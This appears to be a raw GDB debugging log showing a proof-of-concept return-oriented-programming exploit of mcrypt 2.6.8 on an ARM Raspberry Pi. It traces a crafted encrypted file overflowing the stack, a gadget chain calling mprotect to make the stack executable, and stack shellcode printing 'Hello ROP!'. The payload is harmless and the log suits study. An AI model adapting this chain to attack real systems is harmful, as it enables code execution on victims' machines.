pi@raspberrypi:~/Desktop/hpconarm/exploits/mcrypt-2.6.8/src $ gdb --args ./mcrypt -d cyberpunkmp.nc

GNU gdb (Raspbian 8.2.1-2) 8.2.1

Copyright (C) 2018 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "arm-linux-gnueabihf".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from ./mcrypt...done.

(gdb) b \*0x00019080

Breakpoint 1 at 0x19080: file rfc2440.c, line 126.

(gdb) r

Starting program: /home/pi/Desktop/hpconarm/exploits/mcrypt-2.6.8/src/mcrypt -d cyberpunkmp.nc

Breakpoint 1, 0x00019080 in file\_to\_buf (file=<optimized out>, ret\_len=0xaabbcc1d, offset=0)

at rfc2440.c:126

126 return buf;

(gdb) i r

r0 0x0 0

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0xaabbcc1a 2864434202

r5 0xaabbcc1b 2864434203

r6 0xaabbcc1c 2864434204

r7 0xaabbcc1d 2864434205

r8 0xaabbcc1e 2864434206

r9 0x58ed0 364240

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effeb98 0x7effeb98

lr 0x1454c 83276

pc 0x19080 0x19080 <file\_to\_buf+152>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x00011a60 in \_init ()

(gdb) i r

r0 0x0 0

r1 0x0 0

r2 0x30494 197780

r3 0x76f73eec 1995914988

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebb4 0x7effebb4

lr 0x1454c 83276

pc 0x11a60 0x11a60 <\_init+8>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x0001d0a8 in \_\_libc\_csu\_init ()

(gdb) i r

r0 0x0 0

r1 0x0 0

r2 0x30494 197780

r3 0x11a60 72288

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebbc 0x7effebbc

lr 0x1454c 83276

pc 0x1d0a8 0x1d0a8 <\_\_libc\_csu\_init+60>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x0001d0ac in \_\_libc\_csu\_init ()

(gdb) i r

r0 0x0 0

r1 0x0 0

r2 0x7 7

r3 0x11a60 72288

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebbc 0x7effebbc

lr 0x1454c 83276

pc 0x1d0ac 0x1d0ac <\_\_libc\_csu\_init+64>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x0001d0b0 in \_\_libc\_csu\_init ()

(gdb) i r

r0 0x0 0

r1 0x21000 135168

r2 0x7 7

r3 0x11a60 72288

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebbc 0x7effebbc

lr 0x1454c 83276

pc 0x1d0b0 0x1d0b0 <\_\_libc\_csu\_init+68>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x0001d0b4 in \_\_libc\_csu\_init ()

(gdb) i r

r0 0x7efdf000 2130571264

r1 0x21000 135168

r2 0x7 7

r3 0x11a60 72288

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebbc 0x7effebbc

lr 0x1454c 83276

pc 0x1d0b4 0x1d0b4 <\_\_libc\_csu\_init+72>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x00011a60 in \_init ()

(gdb) i r

r0 0x7efdf000 2130571264

r1 0x21000 135168

r2 0x7 7

r3 0x11a60 72288

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebbc 0x7effebbc

lr 0x1d0b8 118968

pc 0x11a60 0x11a60 <\_init+8>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x76dd63b8 in set\_binding\_values (domainname=<optimized out>, dirnamep=<optimized out>,

codesetp=0x21000) at bindtextdom.c:312

312 bindtextdom.c: No such file or directory.

(gdb) i r

r0 0x7efdf000 2130571264

r1 0x21000 135168

r2 0x7 7

r3 0x76e84db0 1994935728

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x31000 200704

r7 0x7efdf000 2130571264

r8 0x21000 135168

r9 0x7 7

r10 0x594f8 365816

r11 0x1 1

r12 0x76f7408c 1995915404

sp 0x7effebc4 0x7effebc4

lr 0x1d0b8 118968

pc 0x76dd63b8 0x76dd63b8 <set\_binding\_values+468>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

0x76dd63bc 312 in bindtextdom.c

(gdb) i r

r0 0x7efdf000 2130571264

r1 0x21000 135168

r2 0x7 7

r3 0x76e84db0 1994935728

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebe8 2130701288

pc 0x76dd63bc 0x76dd63bc <set\_binding\_values+472>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) si

mprotect () at ../sysdeps/unix/syscall-template.S:78

78 ../sysdeps/unix/syscall-template.S: No such file or directory.

(gdb) i r

r0 0x7efdf000 2130571264

r1 0x21000 135168

r2 0x7 7

r3 0x76e84db0 1994935728

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebe8 2130701288

pc 0x76e84db0 0x76e84db0 <mprotect>

cpsr 0x60000010 1610612752

fpscr 0x0 0

(gdb) fin

Run till exit from #0 mprotect () at ../sysdeps/unix/syscall-template.S:78

0x7effebe8 in ?? ()

(gdb) i r

r0 0x0 0

r1 0x21000 135168

r2 0x7 7

r3 0x76e84db0 1994935728

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebe8 2130701288

pc 0x7effebe8 0x7effebe8

cpsr 0x10 16

fpscr 0x0 0

(gdb) x/4i $pc

=> 0x7effebe8: add r0, pc, #8

0x7effebec: ldr r3, [pc] ; 0x7effebf4

0x7effebf0: blx r3

0x7effebf4: ; <UNDEFINED> instruction: 0x76e0f530

0x7effebec in ?? ()

(gdb) i r

r0 0x7effebf8 2130701304

r1 0x21000 135168

r2 0x7 7

r3 0x76e84db0 1994935728

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebe8 2130701288

pc 0x7effebec 0x7effebec

cpsr 0x10 16

fpscr 0x0 0

(gdb) si

0x7effebf0 in ?? ()

(gdb) i r

r0 0x7effebf8 2130701304

r1 0x21000 135168

r2 0x7 7

r3 0x76e0f530 1994454320

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebe8 2130701288

pc 0x7effebf0 0x7effebf0

cpsr 0x10 16

fpscr 0x0 0

(gdb) si

\_\_GI\_\_IO\_puts (str=0x7effebf8 "Hello ROP!\n") at ioputs.c:35

35 ioputs.c: No such file or directory.

(gdb) i r

r0 0x7effebf8 2130701304

r1 0x21000 135168

r2 0x7 7

r3 0x76e0f530 1994454320

r4 0x41414141 1094795585

r5 0x41414141 1094795585

r6 0x41414141 1094795585

r7 0x41414141 1094795585

r8 0x41414141 1094795585

r9 0x41414141 1094795585

r10 0x41414141 1094795585

r11 0x41414141 1094795585

r12 0x76f7408c 1995915404

sp 0x7effebe8 0x7effebe8

lr 0x7effebf4 2130701300

pc 0x76e0f530 0x76e0f530 <\_\_GI\_\_IO\_puts>

cpsr 0x10 16

fpscr 0x0 0

(gdb) fin

Run till exit from #0 \_\_GI\_\_IO\_puts (str=0x7effebf8 "Hello ROP!\n") at ioputs.c:35

Hello ROP!

0x7effebf4 in ?? ()

Value returned is $1 = 12